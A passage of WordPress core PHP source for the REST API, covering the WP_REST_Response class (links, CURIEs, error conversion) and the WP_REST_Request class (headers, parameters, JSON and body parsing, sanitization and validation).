* A bug in PHP < 5.2.2 makes $HTTP_RAW_POST_DATA not set by default,
* but we can do it ourself.
*/
if ( ! isset( $HTTP_RAW_POST_DATA ) ) {
$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}
return $HTTP_RAW_POST_DATA;
}
/**
* Extracts headers from a PHP-style $_SERVER array.
*
* @since 4.4.0
* @access public
*
* @param array $server Associative array similar to `$_SERVER`.
* @return array Headers extracted from the input.
*/
public function get_headers( $server ) {
$headers = array();
// CONTENT_* headers are not prefixed with HTTP_.
$additional = array( 'CONTENT_LENGTH' => true, 'CONTENT_MD5' => true, 'CONTENT_TYPE' => true );
foreach ( $server as $key => $value ) {
if ( strpos( $key, 'HTTP_' ) === 0 ) {
$headers[ substr( $key, 5 ) ] = $value;
} elseif ( isset( $additional[ $key ] ) ) {
$headers[ $key ] = $value;
}
}
return $headers;
}
}
/**
* REST API: WP_REST_Response class
*
* @package WordPress
* @subpackage REST_API
* @since 4.4.0
*/
/**
* Core class used to implement a REST response object.
*
* @since 4.4.0
*
* @see WP_HTTP_Response
*/
class WP_REST_Response extends WP_HTTP_Response {
/**
* Links related to the response.
*
* @since 4.4.0
* @access protected
* @var array
*/
protected $links = array();
/**
* The route that was to create the response.
*
* @since 4.4.0
* @access protected
* @var string
*/
protected $matched_route = '';
/**
* The handler that was used to create the response.
*
* @since 4.4.0
* @access protected
* @var null|array
*/
protected $matched_handler = null;
/**
* Adds a link to the response.
*
* @internal The $rel parameter is first, as this looks nicer when sending multiple.
*
* @since 4.4.0
* @access public
*
* @link https://tools.ietf.org/html/rfc5988
* @link https://www.iana.org/assignments/link-relations/link-relations.xml
*
* @param string $rel Link relation. Either an IANA registered type,
* or an absolute URL.
* @param string $href Target URI for the link.
* @param array $attributes Optional. Link parameters to send along with the URL. Default empty array.
*/
public function add_link( $rel, $href, $attributes = array() ) {
if ( empty( $this->links[ $rel ] ) ) {
$this->links[ $rel ] = array();
}
if ( isset( $attributes['href'] ) ) {
// Remove the href attribute, as it's used for the main URL.
unset( $attributes['href'] );
}
$this->links[ $rel ][] = array(
'href' => $href,
'attributes' => $attributes,
);
}
/**
* Removes a link from the response.
*
* @since 4.4.0
* @access public
*
* @param string $rel Link relation. Either an IANA registered type, or an absolute URL.
* @param string $href Optional. Only remove links for the relation matching the given href.
* Default null.
*/
public function remove_link( $rel, $href = null ) {
if ( ! isset( $this->links[ $rel ] ) ) {
return;
}
if ( $href ) {
$this->links[ $rel ] = wp_list_filter( $this->links[ $rel ], array( 'href' => $href ), 'NOT' );
} else {
$this->links[ $rel ] = array();
}
if ( ! $this->links[ $rel ] ) {
unset( $this->links[ $rel ] );
}
}
/**
* Adds multiple links to the response.
*
* Link data should be an associative array with link relation as the key.
* The value can either be an associative array of link attributes
* (including `href` with the URL for the response), or a list of these
* associative arrays.
*
* @since 4.4.0
* @access public
*
* @param array $links Map of link relation to list of links.
*/
public function add_links( $links ) {
foreach ( $links as $rel => $set ) {
// If it's a single link, wrap with an array for consistent handling.
if ( isset( $set['href'] ) ) {
$set = array( $set );
}
foreach ( $set as $attributes ) {
$this->add_link( $rel, $attributes['href'], $attributes );
}
}
}
/**
* Retrieves links for the response.
*
* @since 4.4.0
* @access public
*
* @return array List of links.
*/
public function get_links() {
return $this->links;
}
/**
* Sets a single link header.
*
* @internal The $rel parameter is first, as this looks nicer when sending multiple.
*
* @since 4.4.0
* @access public
*
* @link https://tools.ietf.org/html/rfc5988
* @link https://www.iana.org/assignments/link-relations/link-relations.xml
*
* @param string $rel Link relation. Either an IANA registered type, or an absolute URL.
* @param string $link Target IRI for the link.
* @param array $other Optional. Other parameters to send, as an assocative array.
* Default empty array.
*/
public function link_header( $rel, $link, $other = array() ) {
$header = '<' . $link . '>; rel="' . $rel . '"';
foreach ( $other as $key => $value ) {
if ( 'title' === $key ) {
$value = '"' . $value . '"';
}
$header .= '; ' . $key . '=' . $value;
}
$this->header( 'Link', $header, false );
}
/**
* Retrieves the route that was used.
*
* @since 4.4.0
* @access public
*
* @return string The matched route.
*/
public function get_matched_route() {
return $this->matched_route;
}
/**
* Sets the route (regex for path) that caused the response.
*
* @since 4.4.0
* @access public
*
* @param string $route Route name.
*/
public function set_matched_route( $route ) {
$this->matched_route = $route;
}
/**
* Retrieves the handler that was used to generate the response.
*
* @since 4.4.0
* @access public
*
* @return null|array The handler that was used to create the response.
*/
public function get_matched_handler() {
return $this->matched_handler;
}
/**
* Retrieves the handler that was responsible for generating the response.
*
* @since 4.4.0
* @access public
*
* @param array $handler The matched handler.
*/
public function set_matched_handler( $handler ) {
$this->matched_handler = $handler;
}
/**
* Checks if the response is an error, i.e. >= 400 response code.
*
* @since 4.4.0
* @access public
*
* @return bool Whether the response is an error.
*/
public function is_error() {
return $this->get_status() >= 400;
}
/**
* Retrieves a WP_Error object from the response.
*
* @since 4.4.0
* @access public
*
* @return WP_Error|null WP_Error or null on not an errored response.
*/
public function as_error() {
if ( ! $this->is_error() ) {
return null;
}
$error = new WP_Error;
if ( is_array( $this->get_data() ) ) {
$data = $this->get_data();
$error->add( $data['code'], $data['message'], $data['data'] );
if ( ! empty( $data['additional_errors'] ) ) {
foreach( $data['additional_errors'] as $err ) {
$error->add( $err['code'], $err['message'], $err['data'] );
}
}
} else {
$error->add( $this->get_status(), '', array( 'status' => $this->get_status() ) );
}
return $error;
}
/**
* Retrieves the CURIEs (compact URIs) used for relations.
*
* @since 4.5.0
* @access public
*
* @return array Compact URIs.
*/
public function get_curies() {
$curies = array(
array(
'name' => 'wp',
'href' => 'https://api.w.org/{rel}',
'templated' => true,
),
);
/**
* Filters extra CURIEs available on API responses.
*
* CURIEs allow a shortened version of URI relations. This allows a more
* usable form for custom relations than using the full URI. These work
* similarly to how XML namespaces work.
*
* Registered CURIES need to specify a name and URI template. This will
* automatically transform URI relations into their shortened version.
* The shortened relation follows the format `{name}:{rel}`. `{rel}` in
* the URI template will be replaced with the `{rel}` part of the
* shortened relation.
*
* For example, a CURIE with name `example` and URI template
* `http://w.org/{rel}` would transform a `http://w.org/term` relation
* into `example:term`.
*
* Well-behaved clients should expand and normalise these back to their
* full URI relation, however some naive clients may not resolve these
* correctly, so adding new CURIEs may break backward compatibility.
*
* @since 4.5.0
*
* @param array $additional Additional CURIEs to register with the API.
*/
$additional = apply_filters( 'rest_response_link_curies', array() );
return array_merge( $curies, $additional );
}
}
/**
* REST API: WP_REST_Request class
*
* @package WordPress
* @subpackage REST_API
* @since 4.4.0
*/
/**
* Core class used to implement a REST request object.
*
* Contains data from the request, to be passed to the callback.
*
* Note: This implements ArrayAccess, and acts as an array of parameters when
* used in that manner. It does not use ArrayObject (as we cannot rely on SPL),
* so be aware it may have non-array behaviour in some cases.
*
* Note: When using features provided by ArrayAccess, be aware that WordPress deliberately
* does not distinguish between arguments of the same name for different request methods.
* For instance, in a request with `GET id=1` and `POST id=2`, `$request['id']` will equal
* 2 (`POST`) not 1 (`GET`). For more precision between request methods, use
* WP_REST_Request::get_body_params(), WP_REST_Request::get_url_params(), etc.
*
* @since 4.4.0
*
* @see ArrayAccess
*/
class WP_REST_Request implements ArrayAccess {
/**
* HTTP method.
*
* @since 4.4.0
* @access protected
* @var string
*/
protected $method = '';
/**
* Parameters passed to the request.
*
* These typically come from the `$_GET`, `$_POST` and `$_FILES`
* superglobals when being created from the global scope.
*
* @since 4.4.0
* @access protected
* @var array Contains GET, POST and FILES keys mapping to arrays of data.
*/
protected $params;
/**
* HTTP headers for the request.
*
* @since 4.4.0
* @access protected
* @var array Map of key to value. Key is always lowercase, as per HTTP specification.
*/
protected $headers = array();
/**
* Body data.
*
* @since 4.4.0
* @access protected
* @var string Binary data from the request.
*/
protected $body = null;
/**
* Route matched for the request.
*
* @since 4.4.0
* @access protected
* @var string
*/
protected $route;
/**
* Attributes (options) for the route that was matched.
*
* This is the options array used when the route was registered, typically
* containing the callback as well as the valid methods for the route.
*
* @since 4.4.0
* @access protected
* @var array Attributes for the request.
*/
protected $attributes = array();
/**
* Used to determine if the JSON data has been parsed yet.
*
* Allows lazy-parsing of JSON data where possible.
*
* @since 4.4.0
* @access protected
* @var bool
*/
protected $parsed_json = false;
/**
* Used to determine if the body data has been parsed yet.
*
* @since 4.4.0
* @access protected
* @var bool
*/
protected $parsed_body = false;
/**
* Constructor.
*
* @since 4.4.0
* @access public
*
* @param string $method Optional. Request method. Default empty.
* @param string $route Optional. Request route. Default empty.
* @param array $attributes Optional. Request attributes. Default empty array.
*/
public function __construct( $method = '', $route = '', $attributes = array() ) {
$this->params = array(
'URL' => array(),
'GET' => array(),
'POST' => array(),
'FILES' => array(),
// See parse_json_params.
'JSON' => null,
'defaults' => array(),
);
$this->set_method( $method );
$this->set_route( $route );
$this->set_attributes( $attributes );
}
/**
* Retrieves the HTTP method for the request.
*
* @since 4.4.0
* @access public
*
* @return string HTTP method.
*/
public function get_method() {
return $this->method;
}
/**
* Sets HTTP method for the request.
*
* @since 4.4.0
* @access public
*
* @param string $method HTTP method.
*/
public function set_method( $method ) {
$this->method = strtoupper( $method );
}
/**
* Retrieves all headers from the request.
*
* @since 4.4.0
* @access public
*
* @return array Map of key to value. Key is always lowercase, as per HTTP specification.
*/
public function get_headers() {
return $this->headers;
}
/**
* Canonicalizes the header name.
*
* Ensures that header names are always treated the same regardless of
* source. Header names are always case insensitive.
*
* Note that we treat `-` (dashes) and `_` (underscores) as the same
* character, as per header parsing rules in both Apache and nginx.
*
* @link http://stackoverflow.com/q/18185366
* @link http://wiki.nginx.org/Pitfalls#Missing_.28disappearing.29_HTTP_headers
* @link https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers
*
* @since 4.4.0
* @access public
* @static
*
* @param string $key Header name.
* @return string Canonicalized name.
*/
public static function canonicalize_header_name( $key ) {
$key = strtolower( $key );
$key = str_replace( '-', '_', $key );
return $key;
}
/**
* Retrieves the given header from the request.
*
* If the header has multiple values, they will be concatenated with a comma
* as per the HTTP specification. Be aware that some non-compliant headers
* (notably cookie headers) cannot be joined this way.
*
* @since 4.4.0
* @access public
*
* @param string $key Header name, will be canonicalized to lowercase.
* @return string|null String value if set, null otherwise.
*/
public function get_header( $key ) {
$key = $this->canonicalize_header_name( $key );
if ( ! isset( $this->headers[ $key ] ) ) {
return null;
}
return implode( ',', $this->headers[ $key ] );
}
/**
* Retrieves header values from the request.
*
* @since 4.4.0
* @access public
*
* @param string $key Header name, will be canonicalized to lowercase.
* @return array|null List of string values if set, null otherwise.
*/
public function get_header_as_array( $key ) {
$key = $this->canonicalize_header_name( $key );
if ( ! isset( $this->headers[ $key ] ) ) {
return null;
}
return $this->headers[ $key ];
}
/**
* Sets the header on request.
*
* @since 4.4.0
* @access public
*
* @param string $key Header name.
* @param string $value Header value, or list of values.
*/
public function set_header( $key, $value ) {
$key = $this->canonicalize_header_name( $key );
$value = (array) $value;
$this->headers[ $key ] = $value;
}
/**
* Appends a header value for the given header.
*
* @since 4.4.0
* @access public
*
* @param string $key Header name.
* @param string $value Header value, or list of values.
*/
public function add_header( $key, $value ) {
$key = $this->canonicalize_header_name( $key );
$value = (array) $value;
if ( ! isset( $this->headers[ $key ] ) ) {
$this->headers[ $key ] = array();
}
$this->headers[ $key ] = array_merge( $this->headers[ $key ], $value );
}
/**
* Removes all values for a header.
*
* @since 4.4.0
* @access public
*
* @param string $key Header name.
*/
public function remove_header( $key ) {
$key = $this->canonicalize_header_name( $key );
unset( $this->headers[ $key ] );
}
/**
* Sets headers on the request.
*
* @since 4.4.0
* @access public
*
* @param array $headers Map of header name to value.
* @param bool $override If true, replace the request's headers. Otherwise, merge with existing.
*/
public function set_headers( $headers, $override = true ) {
if ( true === $override ) {
$this->headers = array();
}
foreach ( $headers as $key => $value ) {
$this->set_header( $key, $value );
}
}
/**
* Retrieves the content-type of the request.
*
* @since 4.4.0
* @access public
*
* @return array Map containing 'value' and 'parameters' keys.
*/
public function get_content_type() {
$value = $this->get_header( 'content-type' );
if ( empty( $value ) ) {
return null;
}
$parameters = '';
if ( strpos( $value, ';' ) ) {
list( $value, $parameters ) = explode( ';', $value, 2 );
}
$value = strtolower( $value );
if ( strpos( $value, '/' ) === false ) {
return null;
}
// Parse type and subtype out.
list( $type, $subtype ) = explode( '/', $value, 2 );
$data = compact( 'value', 'type', 'subtype', 'parameters' );
$data = array_map( 'trim', $data );
return $data;
}
/**
* Retrieves the parameter priority order.
*
* Used when checking parameters in get_param().
*
* @since 4.4.0
* @access protected
*
* @return array List of types to check, in order of priority.
*/
protected function get_parameter_order() {
$order = array();
$content_type = $this->get_content_type();
if ( $content_type['value'] === 'application/json' ) {
$order[] = 'JSON';
}
$this->parse_json_params();
// Ensure we parse the body data.
$body = $this->get_body();
if ( 'POST' !== $this->method && ! empty( $body ) ) {
$this->parse_body_params();
}
$accepts_body_data = array( 'POST', 'PUT', 'PATCH', 'DELETE' );
if ( in_array( $this->method, $accepts_body_data ) ) {
$order[] = 'POST';
}
$order[] = 'GET';
$order[] = 'URL';
$order[] = 'defaults';
/**
* Filters the parameter order.
*
* The order affects which parameters are checked when using get_param() and family.
* This acts similarly to PHP's `request_order` setting.
*
* @since 4.4.0
*
* @param array $order {
* An array of types to check, in order of priority.
*
* @param string $type The type to check.
* }
* @param WP_REST_Request $this The request object.
*/
return apply_filters( 'rest_request_parameter_order', $order, $this );
}
/**
* Retrieves a parameter from the request.
*
* @since 4.4.0
* @access public
*
* @param string $key Parameter name.
* @return mixed|null Value if set, null otherwise.
*/
public function get_param( $key ) {
$order = $this->get_parameter_order();
foreach ( $order as $type ) {
// Determine if we have the parameter for this type.
if ( isset( $this->params[ $type ][ $key ] ) ) {
return $this->params[ $type ][ $key ];
}
}
return null;
}
/**
* Sets a parameter on the request.
*
* @since 4.4.0
* @access public
*
* @param string $key Parameter name.
* @param mixed $value Parameter value.
*/
public function set_param( $key, $value ) {
$order = $this->get_parameter_order();
$this->params[ $order[0] ][ $key ] = $value;
}
/**
* Retrieves merged parameters from the request.
*
* The equivalent of get_param(), but returns all parameters for the request.
* Handles merging all the available values into a single array.
*
* @since 4.4.0
* @access public
*
* @return array Map of key to value.
*/
public function get_params() {
$order = $this->get_parameter_order();
$order = array_reverse( $order, true );
$params = array();
foreach ( $order as $type ) {
// array_merge / the "+" operator will mess up
// numeric keys, so instead do a manual foreach.
foreach ( (array) $this->params[ $type ] as $key => $value ) {
$params[ $key ] = $value;
}
}
return $params;
}
/**
* Retrieves parameters from the route itself.
*
* These are parsed from the URL using the regex.
*
* @since 4.4.0
* @access public
*
* @return array Parameter map of key to value.
*/
public function get_url_params() {
return $this->params['URL'];
}
/**
* Sets parameters from the route.
*
* Typically, this is set after parsing the URL.
*
* @since 4.4.0
* @access public
*
* @param array $params Parameter map of key to value.
*/
public function set_url_params( $params ) {
$this->params['URL'] = $params;
}
/**
* Retrieves parameters from the query string.
*
* These are the parameters you'd typically find in `$_GET`.
*
* @since 4.4.0
* @access public
*
* @return array Parameter map of key to value
*/
public function get_query_params() {
return $this->params['GET'];
}
/**
* Sets parameters from the query string.
*
* Typically, this is set from `$_GET`.
*
* @since 4.4.0
* @access public
*
* @param array $params Parameter map of key to value.
*/
public function set_query_params( $params ) {
$this->params['GET'] = $params;
}
/**
* Retrieves parameters from the body.
*
* These are the parameters you'd typically find in `$_POST`.
*
* @since 4.4.0
* @access public
*
* @return array Parameter map of key to value.
*/
public function get_body_params() {
return $this->params['POST'];
}
/**
* Sets parameters from the body.
*
* Typically, this is set from `$_POST`.
*
* @since 4.4.0
* @access public
*
* @param array $params Parameter map of key to value.
*/
public function set_body_params( $params ) {
$this->params['POST'] = $params;
}
/**
* Retrieves multipart file parameters from the body.
*
* These are the parameters you'd typically find in `$_FILES`.
*
* @since 4.4.0
* @access public
*
* @return array Parameter map of key to value
*/
public function get_file_params() {
return $this->params['FILES'];
}
/**
* Sets multipart file parameters from the body.
*
* Typically, this is set from `$_FILES`.
*
* @since 4.4.0
* @access public
*
* @param array $params Parameter map of key to value.
*/
public function set_file_params( $params ) {
$this->params['FILES'] = $params;
}
/**
* Retrieves the default parameters.
*
* These are the parameters set in the route registration.
*
* @since 4.4.0
* @access public
*
* @return array Parameter map of key to value
*/
public function get_default_params() {
return $this->params['defaults'];
}
/**
* Sets default parameters.
*
* These are the parameters set in the route registration.
*
* @since 4.4.0
* @access public
*
* @param array $params Parameter map of key to value.
*/
public function set_default_params( $params ) {
$this->params['defaults'] = $params;
}
/**
* Retrieves the request body content.
*
* @since 4.4.0
* @access public
*
* @return string Binary data from the request body.
*/
public function get_body() {
return $this->body;
}
/**
* Sets body content.
*
* @since 4.4.0
* @access public
*
* @param string $data Binary data from the request body.
*/
public function set_body( $data ) {
$this->body = $data;
// Enable lazy parsing.
$this->parsed_json = false;
$this->parsed_body = false;
$this->params['JSON'] = null;
}
/**
* Retrieves the parameters from a JSON-formatted body.
*
* @since 4.4.0
* @access public
*
* @return array Parameter map of key to value.
*/
public function get_json_params() {
// Ensure the parameters have been parsed out.
$this->parse_json_params();
return $this->params['JSON'];
}
/**
* Parses the JSON parameters.
*
* Avoids parsing the JSON data until we need to access it.
*
* @since 4.4.0
* @since 4.7.0 Returns error instance if value cannot be decoded.
* @access protected
* @return true|WP_Error True if the JSON data was passed or no JSON data was provided, WP_Error if invalid JSON was passed.
*/
protected function parse_json_params() {
if ( $this->parsed_json ) {
return true;
}
$this->parsed_json = true;
// Check that we actually got JSON.
$content_type = $this->get_content_type();
if ( empty( $content_type ) || 'application/json' !== $content_type['value'] ) {
return true;
}
$body = $this->get_body();
if ( empty( $body ) ) {
return true;
}
$params = json_decode( $body, true );
/*
* Check for a parsing error.
*
* Note that due to WP's JSON compatibility functions, json_last_error
* might not be defined: https://core.trac.wordpress.org/ticket/27799
*/
if ( null === $params && ( ! function_exists( 'json_last_error' ) || JSON_ERROR_NONE !== json_last_error() ) ) {
// Ensure subsequent calls receive error instance.
$this->parsed_json = false;
$error_data = array(
'status' => WP_Http::BAD_REQUEST,
);
if ( function_exists( 'json_last_error' ) ) {
$error_data['json_error_code'] = json_last_error();
$error_data['json_error_message'] = json_last_error_msg();
}
return new WP_Error( 'rest_invalid_json', __( 'Invalid JSON body passed.' ), $error_data );
}
$this->params['JSON'] = $params;
return true;
}
/**
* Parses the request body parameters.
*
* Parses out URL-encoded bodies for request methods that aren't supported
* natively by PHP. In PHP 5.x, only POST has these parsed automatically.
*
* @since 4.4.0
* @access protected
*/
protected function parse_body_params() {
if ( $this->parsed_body ) {
return;
}
$this->parsed_body = true;
/*
* Check that we got URL-encoded. Treat a missing content-type as
* URL-encoded for maximum compatibility.
*/
$content_type = $this->get_content_type();
if ( ! empty( $content_type ) && 'application/x-www-form-urlencoded' !== $content_type['value'] ) {
return;
}
parse_str( $this->get_body(), $params );
/*
* Amazingly, parse_str follows magic quote rules. Sigh.
*
* NOTE: Do not refactor to use `wp_unslash`.
*/
if ( get_magic_quotes_gpc() ) {
$params = stripslashes_deep( $params );
}
/*
* Add to the POST parameters stored internally. If a user has already
* set these manually (via `set_body_params`), don't override them.
*/
$this->params['POST'] = array_merge( $params, $this->params['POST'] );
}
/**
* Retrieves the route that matched the request.
*
* @since 4.4.0
* @access public
*
* @return string Route matching regex.
*/
public function get_route() {
return $this->route;
}
/**
* Sets the route that matched the request.
*
* @since 4.4.0
* @access public
*
* @param string $route Route matching regex.
*/
public function set_route( $route ) {
$this->route = $route;
}
/**
* Retrieves the attributes for the request.
*
* These are the options for the route that was matched.
*
* @since 4.4.0
* @access public
*
* @return array Attributes for the request.
*/
public function get_attributes() {
return $this->attributes;
}
/**
* Sets the attributes for the request.
*
* @since 4.4.0
* @access public
*
* @param array $attributes Attributes for the request.
*/
public function set_attributes( $attributes ) {
$this->attributes = $attributes;
}
/**
* Sanitizes (where possible) the params on the request.
*
* This is primarily based off the sanitize_callback param on each registered
* argument.
*
* @since 4.4.0
* @access public
*
* @return true|WP_Error True if parameters were sanitized, WP_Error if an error occurred during sanitization.
*/
public function sanitize_params() {
$attributes = $this->get_attributes();
// No arguments set, skip sanitizing.
if ( empty( $attributes['args'] ) ) {
return true;
}
$order = $this->get_parameter_order();
$invalid_params = array();
foreach ( $order as $type ) {
if ( empty( $this->params[ $type ] ) ) {
continue;
}
foreach ( $this->params[ $type ] as $key => $value ) {
if ( ! isset( $attributes['args'][ $key ] ) ) {
continue;
}
$param_args = $attributes['args'][ $key ];
// If the arg has a type but no sanitize_callback attribute, default to rest_parse_request_arg.
if ( ! array_key_exists( 'sanitize_callback', $param_args ) && ! empty( $param_args['type'] ) ) {
$param_args['sanitize_callback'] = 'rest_parse_request_arg';
}
// If there's still no sanitize_callback, nothing to do here.
if ( empty( $param_args['sanitize_callback'] ) ) {
continue;
}
$sanitized_value = call_user_func( $param_args['sanitize_callback'], $value, $this, $key );
if ( is_wp_error( $sanitized_value ) ) {
$invalid_params[ $key ] = $sanitized_value->get_error_message();
} else {
$this->params[ $type ][ $key ] = $sanitized_value;
}
}
}
if ( $invalid_params ) {
return new WP_Error( 'rest_invalid_param', sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ), array( 'status' => 400, 'params' => $invalid_params ) );
}
return true;
}
/**
* Checks whether this request is valid according to its attributes.
*
* @since 4.4.0
* @access public
*
* @return bool|WP_Error True if there are no parameters to validate or if all pass validation,
* WP_Error if required parameters are missing.
*/
public function has_valid_params() {
// If JSON data was passed, check for errors.
$json_error = $this->parse_json_params();
if ( is_wp_error( $json_error ) ) {
return $json_error;
}
$attributes = $this->get_attributes();
$required = array();
// No arguments set, skip validation.
if ( empty( $attributes['args'] ) ) {
return true;
}
foreach ( $attributes['args'] as $key => $arg ) {
$param = $this->get_param( $key );
if ( isset( $arg['required'] ) && true === $arg['required'] && null === $param ) {
$required[] = $key;
}
}
if ( ! empty( $required ) ) {
return new WP_Error( 'rest_missing_callback_param', sprintf( __( 'Missing parameter(s): %s' ), implode( ', ', $required ) ), array( 'status' => 400, 'params' => $required ) );
}
/*
* Check the validation callbacks for each registered arg.
*
* This is done after required checking as required checking is cheaper.
*/
$invalid_params = array();
foreach ( $attributes['args'] as $key => $arg ) {
$param = $this->get_param( $key );
if ( null !== $param && ! empty( $arg['validate_callback'] ) ) {
$valid_check = call_user_func( $arg['validate_callback'], $param, $this, $key );
if ( false === $valid_check ) {
$invalid_params[ $key ] = __( 'Invalid parameter.' );
}
if ( is_wp_error( $valid_check ) ) {
$invalid_params[ $key ] = $valid_check->get_error_message();
}
}
}
if ( $invalid_params ) {
return new WP_Error( 'rest_invalid_param', sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ), array( 'status' => 400, 'params' => $invalid_params ) );
}
return true;
}
/**
* Checks if a parameter is set.
*
* @since 4.4.0
* @access public
*
* @param string $offset Parameter name.
* @return bool Whether the parameter is set.
*/
public function offsetExists( $offset ) {
$order = $this->get_parameter_order();
foreach ( $order as $type ) {
if ( isset( $this->params[ $type ][ $offset ] ) ) {
return true;
}
}
return false;
}
/**
* Retrieves a parameter from the request.
*
* @since 4.4.0
* @access public
*
* @param string $offset Parameter name.
* @return mixed|null Value if set, null otherwise.
*/
public function offsetGet( $offset ) {
return $this->get_param( $offset );
}
/**
* Sets a parameter on the request.
*
* @since 4.4.0
* @access public
*
* @param string $offset Parameter name.
* @param mixed $value Parameter value.
*/
public function offsetSet( $offset, $value ) {
$this->set_param( $offset, $value );
}
/**
* Removes a parameter from the request.
*
* @since 4.4.0
* @access public
*
* @param string $offset Parameter name.
*/
public function offsetUnset( $offset ) {
$order = $this->get_parameter_order();
// Remove the offset from every group.
foreach ( $order as $type ) {
unset( $this->params[ $type ][ $offset ] );
}
}
/**
* Retrieves a WP_REST_Request object from a full URL.
*
* @static
* @since 4.5.0
* @access public
*
* @param string $url URL with protocol, domain, path and query args.
* @return WP_REST_Request|false WP_REST_Request object on success, false on failure.
*/
public static function from_url( $url ) {
$bits = parse_url( $url );
$query_params = array();
if ( ! empty( $bits['query'] ) ) {
wp_parse_str( $bits['query'], $query_params );
}
$api_root = rest_url();
if ( get_option( 'permalink_structure' ) && 0 === strpos( $url, $api_root ) ) {
// Pretty permalinks on, and URL is under the API root.
$api_url_part = substr( $url, strlen( untrailingslashit( $api_root ) ) );
$route = parse_url( $api_url_part, PHP_URL_PATH );
} elseif ( ! empty( $query_params['rest_route'] ) ) {
// ?rest_route=... set directly
$route = $query_params['rest_route'];
unset( $query_params['rest_route'] );
}
$request = false;
if ( ! empty( $route ) ) {
$request = new WP_REST_Request( 'GET', $route );
$request->set_query_params( $query_params );
}
/**
* Filters the request generated from a URL.
*
* @since 4.5.0
*
* @param WP_REST_Request|false $request Generated request object, or false if URL
* could not be parsed.
* @param string $url URL the request was generated from.
*/
return apply_filters( 'rest_request_from_url', $request, $url );
}
}
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